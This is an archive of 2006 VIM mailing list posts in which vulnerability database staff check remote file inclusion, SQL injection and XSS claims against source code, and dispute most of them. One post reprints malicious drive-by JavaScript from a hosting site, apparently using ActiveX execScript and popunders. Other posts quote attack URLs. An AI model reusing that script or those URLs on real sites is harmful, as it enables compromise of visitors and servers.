to crash when I first visited.] Anyway, there is no way this "flaw" is
valid. At the top of the file you have:

  define('IN_PHPBB', true); // to ensure your script works ! //
  $phpbb_root_path = './';
  include_once($phpbb_root_path . 'extension.inc');
  include_once($phpbb_root_path . 'common.php');

as SpC-x says. extension.inc is not part of the bbrss distribution;
instead, it comes from phpBB. And if you look at it, you'll see all it
does is set the PHP extension (eg, "php", "php3", ...) and initialize
the variable $starttime. Thus, there's no way for an attacker to affect
the value of $phpbb_root_path, at least in the code snipped SpC-x
quotes in his advisory.



George
-- 
theall at tenablesecurity.com

From smoore at securityglobal.net  Wed Jun 14 21:33:29 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Wed, 14 Jun 2006 21:33:29 -0400
Subject: [VIM] misinterpretation?  (Re: Vice Stats 0.5b SQL injection)
In-Reply-To: <Pine.LNX.4.64.0606121814580.14710@forced.attrition.org>
References: <4487C684.5040707@securityglobal.net>	<Pine.GSO.4.51.0606081502560.17302@faron.mitre.org>	<4488A037.70907@securityglobal.net>
	<Pine.LNX.4.64.0606121814580.14710@forced.attrition.org>
Message-ID: <4490B8E9.5060102@securityglobal.net>

Follow up to *my* misterpretation (the "1%" case :-o)

Even though the code used the recommended mysql_real_escape_string() 
function on the user input, the invocation of the filtered parameter was 
missing two single quote characters and I didn't pick up on that:

<       WHERE r.ID='{$_GET['ID']}'";
---
 >       WHERE r.ID={$_GET['ID']}";

Stuart



security curmudgeon wrote:
> : I have asked crazy cracker for more details.  I'm 99% certain this is a 
> : mis-diagnosis.
> 
> Vendor confirmed it and mentioned a second vulnerable file.
> 
> --
> 
> http://www.arantius.com/topic/vice+stats
> 
> Topic: Vice Stats
> VS Release Version 1.0.1
> 2006-06-10 15:28 - Vice Stats
> 
> Hot on the tails of the version 1.0 release, some kind soul reported a 
> security vulnerability to secunia rather than to me directly. Either way, 
> it's fixed now, and is only inside the reporting interface. If you use 
> the multi-user option (which is password protected) or otherwise limit 
> availability to vs_resources.php and vs_search.php then you have no 
> problems.
> 
> Bugfixes:
> 
>     * Security fixes in vs_resource.php and vs_search.php for potential 
> SQL injection.
> 
> Download here:
> 
>     * vicestats-1.0.1.tar.gz - 695,730 bytes
>     * vicestats-1.0.1.zip - 705,661 bytes
> 
> 
> 

From smoore at securityglobal.net  Wed Jun 14 23:10:13 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Wed, 14 Jun 2006 23:10:13 -0400
Subject: [VIM] REMOTE FILE INCLUSION ( ALL )
In-Reply-To: <200606140645.k5E6jmBH009882@faron.mitre.org>
References: <200606140645.k5E6jmBH009882@faron.mitre.org>
Message-ID: <4490CF95.40507@securityglobal.net>

Similar problem in CVE-2006-2871 (Cyboards), where the 
'/include/common.php' script includes the '/include/config.php' script 
and that the 'include/config.php' script defines the $script_path 
parameter to be a static path value.

Stuart



Steven M. Christey wrote:
> I just sent the following to Bugtraq.  Does anybody know of a provably
> correct disclosure from SpC-x?  I've only recently noticed the name.
> 
> Some of the disclosures were so out there that I started to question
> my own assumptions, like: "well, maybe if you have one statement that
> sets a variable to a fixed value and the very next statement has an
> allegedly vulnerable include statement that uses that variable, maybe
> there's some weird OS-specific multiprocessor asynchronous threading
> 64-bit uncleared-register vulnerability related to some poorly
> documented side effect in an API function's implementation deep in the
> PHP interpreter that nobody's noticed but somehow appears in enough
> real-world environments that a bunch of cut-and-paste kiddies are
> hacking into live systems because fools like me are only looking at
> source code and assuming there's no problem."
> 
> Yeah, Vegas is starting to sound pretty good right about now...
> 
> ============================================================
> 
> This post appears to have some errors.
> 
> What PHP version, environment, and operating system did you use to
> test this?  Did you use a real web site, or did you just look at the
> source code?
> 
> When a variable is used in a require or include statement, you must
> make sure that the variable can be controlled by an attacker.  If the
> variable is set to a fixed value, or it can only be changed by the
> administrator, then it probably is not a vulnerability.
> 
>> CzarNews v1.14 Version - Remote File Include Vulnerabilities
>>
>> Link : http://www.root-security.org/danger/CzarNews.txt
> 
> If you search google.com for "CzarNews," then the 4th item is a
> Secunia advisory for exactly the same vulnerability, which is
> attributed to brOmstar and first announced sometime in March 2005.
> That was not mentioned here.
> 
>> Simpnews <= All version - Remote File Include Vulnerabilities
>>
>> Link : http://www.root-security.org/danger/Simpnews.txt
> 
> It will be interesting to see the answer to str0ke's question about
> this problem, since the source code suggests that there is no
> vulnerability.
> 
>> phphg Guestbook Signed.PHP - Remote File Include Vulnerabilities
>>
>> Link : http://www.root-security.org/danger/phphgGuestbook.txt
> 
> The original source code as quoted from this advisory says:
> 
>> # $phphg_real_path = "./";
>> # include($phphg_real_path . 'common.php');
> 
> which doesn't seem exploitable as presented, since $phphg_real_path is
> set to a static value that is not controlled by an attacker.
> 
>> Flog 1.1.2 Version - Remote File Include Vulnerabilities
>>
>> Link : http://www.root-security.org/danger/Flog.txt
> 
> this link gives the code example:
> 
>> # $FLog_dir_include = 'include/';
>> ...
>> require_once($FLog_dir_include.'core.inc.php');
> 
> and, again, the variable is set to a static value.
> 
>> wheatblog 1.0 Version - "wb_inc_dir" Parameter File Inclusion
>> Vulnerability
>>
>> Link : http://www.root-security.org/danger/wheatblog.txt
> 
> which says:
> 
>> # require_once('./settings.php');
>> ...
>> # include_once("$wb_inc_dir/header.php");
>> ...
>> # http://www.victim.com/wheatblog/view_links.php?wb_inc_dir=Command-Shell
> 
> view_links.php does not define $wb_inc_dir, but if we look at
> settings.php, we have:
> 
>> 	$wb_dir = 		'/www/wheatblog';  
>> 	$wb_inc_dir   = "$wb_dir/includes";
> 
> So, if the administrator sets $wb_dir to a fixed value, then
> $wb_inc_dir cannot be controlled by an attacker.
> 
>> MD News 1 Version - Remote File Include Vulnerabilities
>>
>> Link : http://www.root-security.org/danger/MDNews.txt
> 
> the extracted code from this link says:
> 
>> # $configfile = "config.php";
>> # require $configfile;
> 
> and gives a demonstration URL:
> 
>> # http://www.victim.com/MD News/latest.php?configfile=Command-Shell
> 
> but here, again, the variable is defined to a static value (this
> particular source code can be seen from
> http://scripts.ringsworld.com/news-publishing/mdnews/latest.php.html)
> 
> 
> I did not examine the claims for the other products that were listed
> in the original post.
> 
> - Steve
> 

-- 
Stuart Moore
SecurityTracker.com
SecurityGlobal.net LLC
smoore at securityglobal.net
+1 301 495 5930 voice
+1 413 691 4346 fax




From coley at mitre.org  Thu Jun 15 00:35:47 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 00:35:47 -0400 (EDT)
Subject: [VIM] WS-Album - "PublisedDate" is correct, source verify,
	new vector
Message-ID: <200606150435.k5F4ZlIT018613@faron.mitre.org>


Ref: http://pridels.blogspot.com/2006/06/ws-album-xss-vuln.html

parameter "PublisedDate" looked like a typo, but a grep of the source
code says it's right.

Oh, and by source inspection, the issue is valid.  From
AlbumPhoto/FullPhoto.asp:

  PublisedDate = request("PublisedDate")

  ...

  <font size="1"><%=PublisedDate%></font><br><br><img
  src="<%=image%>">


and here we get a bonus XSS since I happened to notice this:

  image = request("image")

  ...

  <font size="1"><%=PublisedDate%></font><br><br><img src="<%=image%>">



- Steve

From coley at linus.mitre.org  Thu Jun 15 00:45:29 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 00:45:29 -0400 (EDT)
Subject: [VIM] WS-Album - "PublisedDate" is correct, source verify,
 new vector
In-Reply-To: <200606150435.k5F4ZlIT018613@faron.mitre.org>
References: <200606150435.k5F4ZlIT018613@faron.mitre.org>
Message-ID: <Pine.GSO.4.51.0606150044160.17243@faron.mitre.org>


On Thu, 15 Jun 2006, Steven M. Christey wrote:

> and here we get a bonus XSS since I happened to notice this:

Of course, what I really MEANT to say was, "I also confirmed this vector
as originally reported by r0t."

'cause, you know, I wouldn't post something before double-checking the
original source ;-)

- Steve

From coley at linus.mitre.org  Thu Jun 15 01:11:37 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 01:11:37 -0400 (EDT)
Subject: [VIM] REMOTE FILE INCLUSION ( ALL )
In-Reply-To: <448FF311.3080806@tenablesecurity.com>
References: <200606140645.k5E6jmBH009882@faron.mitre.org>
	<448FF311.3080806@tenablesecurity.com>
Message-ID: <Pine.GSO.4.51.0606150110080.17243@faron.mitre.org>


I got a very vague 4-word response from SpC-x that I didn't understand.  I
was told by someone else that he might be Turkish.  I sent a basic
followup that used very simple English that boiled down to "the hacker
cannot change this variable" and we'll see what happens next.

- Steve

From coley at mitre.org  Thu Jun 15 01:19:21 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 01:19:21 -0400 (EDT)
Subject: [VIM] source verify of Minerva (phpbb_root_path) issue
Message-ID: <200606150519.k5F5JLfx019838@faron.mitre.org>


ref: http://milw0rm.com/exploits/1908


Use of phpbb_root_path is all over the place these days, isn't it?  I
suspected a combined-module issue but sure enough, in the latest code
(July 2004) I verified it.

In Minerva-237/stat_modules/users_age/module.php , the first
non-commented statement is:

    include_once($phpbb_root_path.'includes/functions_color_groups.'.$phpEx);


- Steve

From coley at linus.mitre.org  Thu Jun 15 01:50:14 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 01:50:14 -0400 (EDT)
Subject: [VIM] bbrss PhpBB (phpbb_root_path) Remote File Inclusion
In-Reply-To: <4490A187.90506@tenablesecurity.com>
References: <4490A187.90506@tenablesecurity.com>
Message-ID: <Pine.GSO.4.51.0606150145330.17243@faron.mitre.org>


On Wed, 14 Jun 2006, George A. Theall wrote:

> [NB: disable Javascript before you visit -- it caused my copy of Firefox
> to crash when I first visited.]

Unfortunately, this site looks like proof that the game has changed.  It
is now too dangerous to even go to a vendor web site to see if they know
about the vuln.  I've been worrying about this happening.

The javascript used a simple substitution cipher that left the "<"
characters alone, so below is the code with the "<" removed.  I'm no
expert, but when I see complex javascript code that references
"DOM.Script.execScript" and various activex clsid's, I get nervous.

Oh, the CLSID is apparently related to some DHTML edit ActiveX control.

- Steve



script language="javascript"
type="text/javascript">wsp_page="http://scripts.ringsworld.com/p.php";
wsp_rnd="1150349947"; wsp_theme="php";
wsp_source="kyNuKQk.Nu8EkfqNGC.yqI/Cukyikkuq8-0qANCk/00Nkk/"; wsp_o2=0;
wsp_o1=""; u = new Array(); function wsp_initVar() { wsp_proc = open;
delay_type = 0; binit = 0; bfinished = 0; wsp_obj = false; } function
utils_blockError() { return true; } window.onerror = utils_blockError;
function pausecomp(Amount) { var d = new Date(); while (1) { mill=new
Date(); diff = mill-d; if( diff > Amount ) {break;} try { wsp_obj.blur();
window.focus(); } catch(ex) { } } try { wsp_obj.blur(); window.focus(); }
catch(ex) { } } function wsp_reload2() { window.document.onunload = null;
window.onunload = null; try { /*wsp_obj.location.replace("about:blank");*/
var u =
wsp_page+"?a=d&r="+wsp_rnd+"&t="+delay_type+"&theme="+wsp_theme+"&source="+wsp_source+"&o1="+wsp_o1;
wsp_obj.location.replace(u); window.focus(); wsp_obj.moveTo
(screen.availWidth/2-800/2,screen.availHeight/2-600/2);
wsp_obj.resizeTo(800,600); } catch(ex) { } } function wsp_load() { try {
if(wsp_obj.closed == true) { return false; } window.document.onunload =
wsp_reload2; window.onunload = wsp_reload2; if(!wsp_o2) { var url =
wsp_page+"?a=c&r="+wsp_rnd+"&t="+delay_type+"&o1="+wsp_o1;
wsp_obj.location.replace(url); } window.focus(); } catch(ex) { return
false; } if(wsp_o2) { wsp_reload2(); } else { if(delay_type == 0) {
setTimeout("wsp_reload2()",1500); } else { pausecomp(1000); wsp_reload2();
} } return true; } function wsp_GetObj(id) { if
(window.document.getElementById) { return
window.document.getElementById(id); } else if (window.document.all) {
return window.document.all[id]; } return 0; } function wsp() {
wsp_init3(); window.moveTo(0,0);
window.resizeTo(screen.availWidth,screen.availHeight); var url =
wsp_page+"?a=d&r="+wsp_rnd+"&t="+delay_type+"&o1="+wsp_o1; X =
windowwspscreenLeft + 10; Y = window.screenTop + 10; if(wsp_o2) param =
"toolbar=yes,location=yes,status=yes,menubar=yes,scrollbar=yes,scrollbars=yes,resizable=yes,top="+Y+",left="+X+",width=10,height=10";
else param =
"toolbar=no,location=no,status=no,menubar=no,scrollbar=yes,scrollbars=yes,resizable=yes,top="+Y+",left="+X+",width=10,height=10";
wsp_obj = wsp_proc(url, "wsp",param); try { wsp_obj.blur();
window.focus(); } catch(ex) { return false; } bfinished = 1; wsp_load();
return true; } function wsp0() { X = 800; Y = 600; var url =
wsp_page+"?a=d&r="+wsp_rnd+"&t="+delay_type+"&o1="+wsp_o1; if(wsp_o2)
param =
"toolbar=yes,location=yes,status=yes,menubar=yes,scrollbar=yes,scrollbars=yes,resizable=yes,top=0,left=0,width="+screen.availWidth+",height="+screen.availHeight;
else param =
"toolbar=no,location=no,status=no,menubar=no,scrollbar=yes,scrollbars=yes,resizable=yes,top="+Y+",left="+X+",width=10,height=10";
wsp_obj = wsp_proc(url, "wsp",param); try { wsp_obj.blur();
window.focus(); } catch(ex) { return false; } return true; } function
wsp_isu(h) { var I; for(I=0;I u.length;I++) { if(h.indexOf(u[I]) != -1)
return 1; } return 0; } function wsp_init3() { anchors =
document.getElementsByTagName('A'); var I; var h; var anchor; for(I=0;I
anchors.length;I++) { anchor = anchors[I]; h =
anchor.getAttribute("href"); if(!wsp_isu(h)) { anchor.onclick = ""; } } }
function wsp_init2() { if(bfinished) return true; anchors =
document.getElementsByTagName('A'); var I; var h; var anchor; for(I=0;I
anchors.length;I++) { anchor = anchors[I]; h =
anchor.getAttribute("href"); if(!wsp_isu(h)) { anchor.onclick = wsp;
anchor.setAttribute("target","_top"); } } if(binit == 0)
setTimeout("wsp_init2()",1000); return true; } function wsp_init() { binit
= 1; } wsp_initVar(); function wsp_init0() { script = ""; script +=
"wsp_page='"+wsp_page+"';"; script += "wsp_rnd='"+wsp_rnd+"';"; script +=
"wsp_theme='"+wsp_theme+"';"; script += "wsp_source='"+wsp_source+"';";
script += "wsp_o1='"+wsp_o1+"';"; script += "wsp_o2="+wsp_o2+";"; script
+= "u = new Array();"; script += wsp_initVar.toString(); script +=
wsp0.toString(); script += "wsp_initVar();wsp0();"; window.moveTo(0,0);
window.resizeTo(screen.availWidth,screen.availHeight);
x.DOM.Script.execScript(script); if(!wsp()) { delay_type = 1; wsp_init2();
} } /script>  div id="wsp_div" style="position:absolute;" wsp="0"> object
id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1"
height="1" align="middle"> param name="ActivateApplets" value="1"> param
name="ActivateActiveXControls" value="1"> /object> /div>

 Anyway, there is no way this "flaw" is
> valid. At the top of the file you have:
>
>   define('IN_PHPBB', true); // to ensure your script works ! //
>   $phpbb_root_path = './';
>   include_once($phpbb_root_path . 'extension.inc');
>   include_once($phpbb_root_path . 'common.php');
>
> as SpC-x says. extension.inc is not part of the bbrss distribution;
> instead, it comes from phpBB. And if you look at it, you'll see all it
> does is set the PHP extension (eg, "php", "php3", ...) and initialize
> the variable $starttime. Thus, there's no way for an attacker to affect
> the value of $phpbb_root_path, at least in the code snipped SpC-x
> quotes in his advisory.
>
>
>
> George
> --
> theall at tenablesecurity.com
>

From coley at mitre.org  Thu Jun 15 02:27:31 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 02:27:31 -0400 (EDT)
Subject: [VIM] Amr Talkbox talkbox.PHP - Remote File Include
	Vulnerabilities
Message-ID: <200606150627.k5F6RVgV021831@faron.mitre.org>


[sent to VIM[




SpC-x said:

> # Amr Talkbox talkbox.PHP - Remote File Include Vulnerabilities
>
> ...
> # if ($lang == "eng") {
> # include ("$direct/lang_eng.txt");
> # } elseif ($lang =="ita") {
> # include ("$direct/lang_ita.txt");


However, looking at the source code  as available on
http://scripts.ringsworld.com/chat-scripts/amr-talkbox/ , with source
files dated May 2005 and earlier, we have:


   $direct = "languages";									//--->	The folder/directory that contain the language kits.
   
   if ($lang == "eng") {
     include ("$direct/lang_eng.txt");
   } elseif ($lang =="ita") {
     include ("$direct/lang_ita.txt");
   }


in other words - not exploitable.


- Steve

From coley at mitre.org  Thu Jun 15 02:40:24 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 02:40:24 -0400 (EDT)
Subject: [VIM] Ltwcalendar 4.1.3 version - Remote File Include
	Vulnerabilities
Message-ID: <200606150640.k5F6eOEs022204@faron.mitre.org>


Ref - bugtraq post as above.

researcher - SpC-x


the claimed affected version 4.1.3 has calendar.php:

  require_once('./private/ltw_config.php');
  require_once($ltw_config['include_dir'].'/ltw_classes.php');

and - are you sitting down? - ltw_config.php says:

  $ltw_config['include_dir']	= './private';


- Steve

From coley at mitre.org  Thu Jun 15 02:47:07 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 02:47:07 -0400 (EDT)
Subject: [VIM] Simpleshout 1.6.0 Version - Remote File Include Vulnerability
Message-ID: <200606150647.k5F6l7Yu022422@faron.mitre.org>


another SpC-x production...

ref:
 http://www.securityfocus.com/archive/1/archive/1/437030/100/0/threaded


source says, verbatim:

  // Configuration
  $config = "config.php";

  // Require files
  require $config;


From jericho at attrition.org  Thu Jun 15 02:51:18 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 15 Jun 2006 02:51:18 -0400 (EDT)
Subject: [VIM] [SECUNIA] Re: 20612 typo? (fwd)
Message-ID: <Pine.LNX.4.64.0606150250270.22384@forced.attrition.org>


Posting here with Carsten's permission. This is clarifcation on a recent 
disclosure.

---------- Forwarded message ----------
From: Secunia Research
To: security curmudgeon <jericho at attrition.org>
Cc: Secunia Research
Date: Thu, 15 Jun 2006 07:50:48 +0200
Subject: [SECUNIA] Re: 20612 typo?

Hi Brian,

The input boxes are displayed by booking2.php, but the entered values
are passed to booking3.php, which doesn't sanitise it before displaying
it.

cheers,
/Carsten


On Wed, 2006-06-14 at 20:01 -0400, security curmudgeon wrote:
> http://archives.neohapsis.com/archives/bugtraq/2006-06/0111.html
>
> Effected files:
> input boxes on booking2.php
>
> XSS Vulnerabilities:
>
> The input boxes on booking2.php [..]
>
> --
>
> http://secunia.com/advisories/20612/
>
> parameters in booking3.php is not properly sanitised
>
>
>
>
> booking2 vs booking3?
>
-- 

Med venlig hilsen / Kind regards


Carsten H. Eiram
Senior Security Specialist


From coley at linus.mitre.org  Thu Jun 15 10:51:38 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 10:51:38 -0400 (EDT)
Subject: [VIM] Disputed vulnerability: Pixaria, PopPhoto (fwd)
Message-ID: <Pine.GSO.4.51.0606151049210.17243@faron.mitre.org>


Ref: CVE-2006-2395

The following "dispute"  is probably more of a clarification, sine the
vendor's web site has an announcement that specifically mentions SECUNIA
SA20087 and says a fix is available.  My read is: "Pixaria is not the
developer, only the distributor."

See the CVE description afterwards, which quotes from the relevant
advisory.

- Steve


---------- Forwarded message ----------
Date: Thu, 15 Jun 2006 09:14:10 +0100
From: Jamie Longstaff
To: cve at mitre.org
Cc: nvd at nist.gov
Subject: Disputed vulnerability: Pixaria, PopPhoto

Disputed vulnerability: Pixaria, PopPhoto

To whom it may concern,

I wish to dispute the vulnerability listed for PopPhoto for the
following reasons:

1) PopPhoto is NOT a product of Pixaria.  It was a product of PopSoft
Digital and is only hosted by Pixaria as a courtesy since it was
withdrawn last year.

2) PopPhoto, the product with the vulnerability, is obsolete and has
not been available to the public for nearly a year.

3) The vulnerability listed was patched by the previous vendor and
all previous users have received this update.

Listing the vulnerability as something associated with Pixaria - my
company - is having a negative effect on my business when it's
nothing to do with me.

Regards,

Jamie Longstaff
Pixaria Software


======================================================
Name: CVE-2006-2395
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2395
Reference: MISC:http://pridels.blogspot.com/2006/05/popphoto-remote-file-inclusion-vuln.html
Reference: CONFIRM:http://www.pixaria.com/news/article/35/
Reference: BID:17970
Reference: URL:http://www.securityfocus.com/bid/17970
Reference: FRSIRT:ADV-2006-1792
Reference: URL:http://www.frsirt.com/english/advisories/2006/1792
Reference: OSVDB:25524
Reference: URL:http://www.osvdb.org/25524
Reference: SECTRACK:1016092
Reference: URL:http://securitytracker.com/id?1016092
Reference: SECUNIA:20087
Reference: URL:http://secunia.com/advisories/20087
Reference: XF:popphoto-poppconfigloader-file-include(26449)
Reference: URL:http://xforce.iss.net/xforce/xfdb/26449

PHP remote file inclusion vulnerability in
resources/includes/popp.config.loader.inc.php in PopPhoto Studio 3.5.4
and earlier allows remote attackers to execute arbitrary PHP code via
a URL in the include_path parameter (cfg['popphoto_base_path']
variable).  NOTE: the developer of this product is not Pixaria, as
claimed by some sources.



From coley at mitre.org  Thu Jun 15 11:50:42 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 11:50:42 -0400 (EDT)
Subject: [VIM] r0t on "bugtraqs @ all"
Message-ID: <200606151550.k5FFogWU008610@faron.mitre.org>


r0t compares the vuln dbs:

  http://pridels.blogspot.com/2006/06/bugtraqs-all.html

- Steve

From jericho at attrition.org  Thu Jun 15 16:52:59 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 15 Jun 2006 16:52:59 -0400 (EDT)
Subject: [VIM] r0t on "bugtraqs @ all"
In-Reply-To: <200606151550.k5FFogWU008610@faron.mitre.org>
References: <200606151550.k5FFogWU008610@faron.mitre.org>
Message-ID: <Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>


: r0t compares the vuln dbs:
: 
:   http://pridels.blogspot.com/2006/06/bugtraqs-all.html

r0t had been mailing us his new findings until a couple weeks ago. I 
guess it is because we 'were' his favorite per the blog entry. What he 
says about OSVDB:

  Open source vuln. database - thats says something. Great guys they 
  verify all stuff , thats why they come out later than others. They was 
  my favorites , but in my eyes thy lose favorite place , when they 
  started to use words "Exploit is Rumored" by examples. In that point if 
  i give example like http://victim/vuln_app/index.php?cat=[XSS] Thats one 
  isnt a exploit , did i any time published as exploit? Its example for 
  those who like or must to verify. So, thats why it "was" my favorite.

Actually we don't verify every vulnerability. We're a little late in 
making entries because many times what is one secunia entry may be 20 
OSVDB entries (be it 20 files affected by XSS or 20 diff Mozilla 
advisories).

"Exploit is Rumored" is wording to indicate we think an exploit exists, 
but one was not published. In his example above, using [XSS] is taken to 
mean exploit published because 99.5% of the time, anyone can use the XSS 
Cheat Sheet [1] and cut/paste something in that will work. For SQL 
injection, unless a real example is given, we put rumored because so many 
people are familiar with SQL Injection attacks, but each injection is 
different. You can't just slap the same SQL syntax into every one and have 
it work. The criteria we use for 'exploit published' is if the exact 
exploit syntax is published OR if we think any reasonable administrator 
could duplicate the attack. In a few cases, if the XSS is complex and 
requires very specliazed character usage or escaping, and the researcher 
doesn't provide an example, we'll make it 'rumored'.


Brian

[1] http://sec.drorshalev.com/dev/xss/xssTricks.htm  (Which seems to be 
    timing out now. Anyone have a mirror?)

From coley at mitre.org  Thu Jun 15 23:34:11 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 15 Jun 2006 23:34:11 -0400 (EDT)
Subject: [VIM] source verify of foing remote file inclusion
Message-ID: <200606160334.k5G3YBmg029990@faron.mitre.org>


Ref: Foing (manage_songs.php) Remote File Inclusion[phpBB]
     http://www.securityfocus.com/archive/1/archive/1/436793/100/0/threaded

Product is intended for use with phpBB.

Vendor has abandoned the project; http://foing.sourceforge.net/ says
"I'm sorry to say that Foing is dead, and has been so for quite some
time. Version 0.7.0 will most likely be the very last".  0.7.0 was
released in 2003.

anyway, in manage_songs.php, at the very top we have:

  $page_title = 'manage songs';
  include($foing_root_path . 'includes/common.php');

so the remote inclusion is feasible using direct request.

It's not immediately clear where this script is used in the product,
but it's there.

- Steve

From jericho at attrition.org  Sat Jun 17 02:42:14 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sat, 17 Jun 2006 02:42:14 -0400 (EDT)
Subject: [VIM] phpjobboard Authecnical admin byPass (fwd)
Message-ID: <Pine.LNX.4.64.0606170227320.22384@forced.attrition.org>


ISS X-Force 26807
http://archives.neohapsis.com/archives/bugtraq/2006-05/0560.html

8 pages of google show a single installation and the very last hit the 
(now defunct?) vendor page:

http://phpjobboard.sourceforge.net/
[DIR] Parent Directory        18-Nov-2002 05:48      -
Apache/1.3.33 Server at phpjobboard.sourceforge.net Port 80

The one installation http://www.moneyinstitute.com/phpjobboard/ which 
doesn't seem set up properly, as it shows index listing. Kind of amusing, 
the uploads directory has resumes in it. Requesting any of the three sub 
dirs in the modules/ directories gives path disclosures.

Following standard sourceforge hierarchy, 
http://sourceforge.net/projects/phpjobboard works:

PHP Job Board     Stats - Activity: 19.61% RSS
This project hopes to provide an open-source system that is similar to 
Monster.com. Project goals are 1) VERY simple install, and minimal 
requirements. This system will be support on any webserver platform that 
can run PHP, and it will work with any dat

But, checking the 'files' available:

http://sourceforge.net/project/showfiles.php?group_id=61962
No File Packages Defined
This project has not yet created any file release packages.

The files *are* available via CVS though:
http://phpjobboard.cvs.sourceforge.net/phpjobboard/phpjobboard/html/

---------- Forwarded message ----------
From: alp_eren at ayyildiz.org
To: bugtraq at securityfocus.com
Date: 25 May 2006 08:00:46 -0000
Subject: phpjobboard Authecnical admin byPass

SOFTWARE
==========
phpjobboard

DESCRIPTION:
============
job board administration bypass, and edit or add to new job.

example

http://[target]/phpjobboard or your path/admin.php?menu=job&adminop=job-edit&id=[item id]
============================================

greets iskorpitx(best),thehacker,metlak,shadow,tugra and all AYYILDIZ member.

#####damn with pkk terrorism, damn with terrorist people!
==========================================

From jericho at attrition.org  Sat Jun 17 16:06:23 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sat, 17 Jun 2006 16:06:23 -0400 (EDT)
Subject: [VIM] Multiple Xss exploits in coolphp magazine
In-Reply-To: <BAY13-F5CD68D4743B4C04CD0346DE9F0@phx.gbl>
References: <BAY13-F5CD68D4743B4C04CD0346DE9F0@phx.gbl>
Message-ID: <Pine.LNX.4.64.0606171605270.22384@forced.attrition.org>


: > script type : coolphp magazine
: > bug found by : black-code & sweet-devil

Can you provide the vendor URL for this? Google searches show no installed 
instances of /coolphp/index.php and searches by the name 'coolphp 
magazine' only find references to this post.

Brian
OSVDB.org

From jericho at attrition.org  Mon Jun 19 01:47:11 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 19 Jun 2006 01:47:11 -0400 (EDT)
Subject: [VIM] file include exploit in Support Cards v1 (fwd)
Message-ID: <Pine.LNX.4.64.0606190146510.22384@forced.attrition.org>


http://archives.neohapsis.com/archives/bugtraq/2006-05/0689.html
XF:26974

---------- Forwarded message ----------
From: security curmudgeon <jericho at attrition.org>
To: black code <black-cod3 at hotmail.com>
Date: Mon, 19 Jun 2006 01:45:34 -0400 (EDT)
Subject: Re: file include exploit in Support Cards v1


: file include exploit in Support Cards v1

Can you provide the vendor URL? Searches on Google for 'support cards',
open_form.php and variations find no obvious vendor.

Thanks!

Brian
OSVDB.org

From jericho at attrition.org  Mon Jun 19 01:49:47 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 19 Jun 2006 01:49:47 -0400 (EDT)
Subject: [VIM] file include exploit in Support Cards v1
In-Reply-To: <200606020005.k5205QBh003733@cairo.mitre.org>
References: <200606020005.k5205QBh003733@cairo.mitre.org>
Message-ID: <Pine.LNX.4.64.0606190149080.22384@forced.attrition.org>


: FYI, emailed the following to black-cod3...

Man, this demonstrates two things:

1. I'm *way* behind on mail
2. I should skim ahead to VIM mail before replying to disclosers


From coley at linus.mitre.org  Mon Jun 19 02:04:11 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 02:04:11 -0400 (EDT)
Subject: [VIM] file include exploit in Support Cards v1
In-Reply-To: <Pine.LNX.4.64.0606190149080.22384@forced.attrition.org>
References: <200606020005.k5205QBh003733@cairo.mitre.org>
	<Pine.LNX.4.64.0606190149080.22384@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606190203040.8012@faron.mitre.org>


On Mon, 19 Jun 2006, security curmudgeon wrote:

> 2. I should skim ahead to VIM mail before replying to disclosers

Is it a bad sign that both co-founders of the list repeatedly violate this
generally good principle? ;-)

- Steve

From jericho at attrition.org  Mon Jun 19 02:26:28 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 19 Jun 2006 02:26:28 -0400 (EDT)
Subject: [VIM] newsfactory Cross Site Scripting & SQL injection (fwd)
Message-ID: <Pine.LNX.4.64.0606190226240.22384@forced.attrition.org>



---------- Forwarded message ----------
From: security curmudgeon <jericho at attrition.org>
To: CrAzY.CrAcKeR at hotmail.com
Date: Mon, 19 Jun 2006 02:26:20 -0400 (EDT)
Subject: Re: newsfactory Cross Site Scripting & SQL injection


: ===================================
: Discovery By: CrAzY CrAcKeR
: Site: www.alshmokh.com
: I want to thank my friend:-
: nono225-mHOn-rageh-LoverHacker-BoNy_m
: Breeeeh-Rootshil-LiNuX_rOOt-SauDiVirUS
: ===================================

Can you provide the vendor URL for this? Searches for "newsfactory" and
"vorstellung.php" aren't very helpful.

Thanks!

Brian
OSVDB.org

From coley at linus.mitre.org  Mon Jun 19 02:29:14 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 02:29:14 -0400 (EDT)
Subject: [VIM] r0t on "bugtraqs @ all"
In-Reply-To: <Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>
References: <200606151550.k5FFogWU008610@faron.mitre.org>
	<Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606190221370.8012@faron.mitre.org>


On Thu, 15 Jun 2006, security curmudgeon wrote:

> Actually we don't verify every vulnerability. We're a little late in
> making entries because many times what is one secunia entry may be 20
> OSVDB entries (be it 20 files affected by XSS or 20 diff Mozilla
> advisories).

